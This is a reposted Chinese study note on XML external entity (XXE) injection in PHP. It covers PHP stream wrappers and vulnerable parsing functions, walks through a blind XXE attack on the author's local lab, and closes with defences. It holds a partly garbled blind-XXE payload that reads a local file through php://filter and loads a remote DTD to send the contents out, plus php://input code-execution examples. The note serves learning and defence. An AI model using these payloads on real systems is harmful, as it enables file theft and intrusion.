iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >XML注入学习
  • 823
分享到

XML注入学习

xmlphp安全 2023-09-07 10:09:09 823人浏览 安东尼
摘要

一、什么是XML注入 XML 指可扩展标记语言(EXtensible Markup Language) XML 是一种标记语言,很类似 html XML 的设计宗旨是传输数据,而非显示数

一、什么是XML注入

XML 指可扩展标记语言(EXtensible Markup Language)
XML 是一种标记语言,很类似 html
XML 的设计宗旨是传输数据,而非显示数据
XML 标签没有被预定义。您需要自行定义标签。
XML 被设计为具有自我描述性。
XML 是 W3C 的推荐标准
简单来说xml就是用来存储数据的。

二、XML的特点

XML仅仅是纯文本,他不会做任何事情。
XML可以自己发明标签(允许定义自己的标签和文档结构)

三、XML的定义

首先是XML声明,然后是DTD部分 >

如下图

]>&entityex;

什么是XML注入

XML注入又叫XXE攻击,全称为XML External Entity,从安全的角度来理解,可以叫做XML外部实体攻击。在XML实体中,关键字‘’system‘’可以让XML解析器从URL中读取内容,并允许他在XML文档中被替换,因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现, 就是攻击者强制XML解析器去访问攻击者指定的资源内容(可以是系统上本地文件也可以是远程系统上的文件)

XEE扩展

外部引用可支持Http,file等协议,不同的语言支持的协议不同,但是存在一些通用的协议,具体内容如下在这里插入图片描述使用的条件:
flie://协议在双off的情况下也是可以正常使用的
allow_url_fopen: off/on
allow-url_fopen: off/on
flie:// 用于访问本地文件系统,在CTF中常用来读取本地文件
使用方法:file://文件的绝对路径和文件名

PHP://协议不需要开启allow_url_fopen
php://input、php://stdin、php://memory和php://temp需要开启allow_url_include

php://filter 用于读取源码且在双off的情况下也能正常使用
Eg:http://127.0.0.1/cmd.php?flie=php://filter/read=convert.base64-encode/resource=index.php

php://input 可以访问请求的原始数据的只读流,将POST请求中的数据作为PHP代码执行
allow_url_fopen:off/on
allow_url_include:on
Eg: http://127.0.0.1/cmd.php?flie=php://input
[POST DATA]

XXE漏洞原理

大体有四种方式:
1.simplexml_load_string()函数造成的回显注入
2.SimpleXMLElement()对象造成的回显注入
3.DOMDocument()类造成的回显注入
4.BlindXXE形式==>>也是由simplexml_load_string()函数造成的无回显注入

靶场实现

无回显注入 需要引用外部实体,下面是我搭建的靶场,在一个php文件下发现有simplexml_load_string函数
HTTP_RAW_POST_DATA是我们要传的参数,simplexml_load_string函数将形式良好的XML字符串转换为SimpleXMLElement对象,如下图所示
在这里插入图片描述向POST请求传参playload

$test =<<<EOF<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:\phpstudy_pro\WWW\925\a.txt"><!ENTITY % remote SYSTEM "http://127.0.0.1/925/1.xml"> %remote;%send; ]>

引用1.xml,1.xml会将读取的文件发给2.php,2.php会把读取的内容保存在3.txt.这样就成功读取了我们想要读取的文件。在这里插入图片描述2.php

漏洞防御方法

需要条件

程序允许引入外部实体
2.用户可以控制输入

方案一、使用开发语言提供的禁用外部实体的方法
PHP: libxml_ disable_ entity_ loader(true);
其他语言:
documentBuilderFactory.setExpandEntityReferences(false);
documentBuilderFactory.setFeature(XMLConstants.)FEATURE_SECURE_PROCESSING,true);
方案二、过滤用户提交的XML数据 关键词:,SYSTEM和PUBLIC.

来源地址:https://blog.csdn.net/xujunhui222/article/details/122846459

--结束END--

本文标题: XML注入学习

本文链接: https://www.lsjlt.com/news/397988.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • XML注入学习
    一、什么是XML注入 XML 指可扩展标记语言(EXtensible Markup Language) XML 是一种标记语言,很类似 HTML XML 的设计宗旨是传输数据,而非显示数...
    99+
    2023-09-07
    xml php 安全
  • 深入学习JS XML和Fetch请求
    目录1.HTTP 简介HTTP/0.9 ( 1991 )HTTP/1.0 (1996 )HTTP/1.1(1997)常用状态码header请求头header响应头Content-Ty...
    99+
    2024-04-02
  • Python学习--xml-Elemen
    当你需要解析和处理 XML 的时候,Python 表现出了它 “batteries included” 的一面。 标准库 中大量可用的模块和工具足以应对 Python 或者是 XML 的新手。ElementTree 生来就是为了处理 XML...
    99+
    2023-01-31
    Python xml Elemen
  • SQL注入之sqlmap入门学习
    目录一、判断是否存在注入点二、查询当前用户下所有数据库三、获取数据库中的表名四、获取表中的字段名五、获取字段内容六、获取数据库的所有用户七、获取数据库用户的密码八、获取当前网站数据库的名称九、获取当前网站数据库的用户名称...
    99+
    2023-05-12
    sqlmap入门 sqlmap注入
  • SQL注入篇学习之盲注/宽字节注入
    目录盲注布尔盲注时间盲注盲注函数length() 函数 返回字符串的长度演示语句burp抓包演示宽字节注入php魔术函数开启方式开启效果作用绕过方法宽字节注入总结 盲注 有...
    99+
    2024-04-02
  • 【1day】PHPOK cms SQL注入学习
    注:该文章来自作者日常学习笔记,请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与作者无关。 目录 一、漏洞描述 二、资产测绘 三、漏洞复现  四、漏洞修复 一、漏洞描述         PHPOK CMS是一个基于PHP语...
    99+
    2023-09-13
    安全 web安全
  • xml注入漏洞
    一、先认识XML XML有两个先驱——SGML(标准通用标记语言)和HTML(超文本标记语言),这两个语言都是非常成功的标记语言。SGML多用于科技文献和政府办公文件中,SGML非常复杂,其复杂程度对于网络上的日常使用简直不可思议。HTML...
    99+
    2023-09-02
    xml php 安全
  • SQL注入宽字节注入由浅到深学习
    目录前言基础知识宽字节宽字节注入例子例题一例题二SQLMAP应用结语前言 突然想起来之前讲SQL注入时忘记讲一下这个宽字节注入了,因为这个知识点还是挺重要的,所以本文就带大家了解一...
    99+
    2023-02-24
    SQL宽字节注入 SQL 注入
  • (MYSQL学习笔记5)防止SQL注入
    MYSQL服务器并不存在共享池(我也不清楚共享池是什么)的概念,所以在MYSQL上使用绑定变量最大的好处就是为了防止SQL注入。PHP例子:$stmt = $dbh -> prepare("SELEC...
    99+
    2024-04-02
  • Vue3学习笔记之依赖注入Provide/Inject
    Provide / Inject 通常,当我们需要从父组件向子组件传递数据时,我们使用 props。想象一下这样的结构:有一些深度嵌套的组件,而深层的子组件只需要父组件的部...
    99+
    2023-05-19
    vue3依赖注入provide/Inject vue3依赖注入 vue3 provide/Inject
  • .NET学习笔记之默认依赖注入
    介绍 不要依赖于具体的实现,应该依赖于抽象,高层模块不应该依赖于底层模块,二者应该依赖于抽象。简单的说就是为了更好的解耦。而控制反转(Ioc)就是这样的原则的其中一个实现思路, 这...
    99+
    2024-04-02
  • 利用sqlmap进行post注入学习笔记
    了解sqlmap sqlmap是一款开源、功能强大的自动化SQL注入工具,支持Access,MySQL,Oracle,SQL Server,DB2等多种数据库。支持get,post ,cookie注入,支持基于布尔的盲注,基于时间的盲注,...
    99+
    2023-08-31
    网络安全 mysql web安全 Powered by 金山文档
  • python3基础学习(XML文件解析)
      对于RSS源的XML文件,开头如下: <xml version="1.0"> <rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">   ...
    99+
    2023-01-31
    文件 基础 XML
  • Spring学习之依赖注入的方法(三种)
    spring框架为我们提供了三种注入方式,分别是set注入,构造方法注入,接口注入。今天就和大家一起来学习一下依赖注入的基本概念依赖注入(Dependecy Injection),也称为IoC(Invert of Control),是一种有...
    99+
    2023-05-31
    spring 依赖注入 sprin
  • python入门学习
    首先在官网下载好python3.6及以上的版本,根据自己的系统选择:没有显示64位的就是32位的安装包,选择蓝线的能够直接打开 在控制台输入python,配置成功的图片如下: 从IDLE打开python输入指令 print("I lo...
    99+
    2023-01-31
    入门 python
  • Laravel核心原理学习:依赖注入、IOC容器
    欢迎指正内容不严谨或有误的地方! 使用Laravel的过程中经常会遇到一些名词(服务提供者、依赖注入、IOC容器之类的概念),每次都是匆匆扫俩眼手册,没有机会深究。今天就花些时间学习,若有不足,后...
    99+
    2023-09-05
    laravel 学习 php
  • scrapy深入学习----(3)
    最新版本 0.10.我们可以通过scrapy命令行工具来控制Scrapy, 这里我们使用了“Scrapy tool”这么一个词,用来区分他们的子命令,那些通常我们称为 “commands”,或者 “Scrapy commands”.处于各种...
    99+
    2023-01-31
    scrapy
  • Python入门学习(六)
    在熟悉了Python中常用的一些内置函数, 那接下来我们定义一个自己的函数吧 def add(x, y): return x + y 函数 函数语法 def functonname(parameters): ... ...
    99+
    2023-01-31
    入门 Python
  • Django 入门学习(3)
    在例4的基础上,我希望直接保存数据到数据库中。 Django自带了一个sqlite的数据库,已经配置好了 可以直接使用。使用方式和sqlalchemy类似,相当于一个内置的ORM框架。settings.py 默认已经绑定了sqlite3DA...
    99+
    2023-01-31
    入门 Django
  • Python深度学习 深度学习入门基于
    《Python深度学习》由Keras之父、现任Google人工智能研究员的弗朗索瓦•肖莱(François Chollet)执笔,详尽介绍了用Python和Keras进行深度学习的探索实践,涉及计算机视觉、自然语言处理、生成式模型等应用。书...
    99+
    2023-01-31
    深度 入门 Python
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作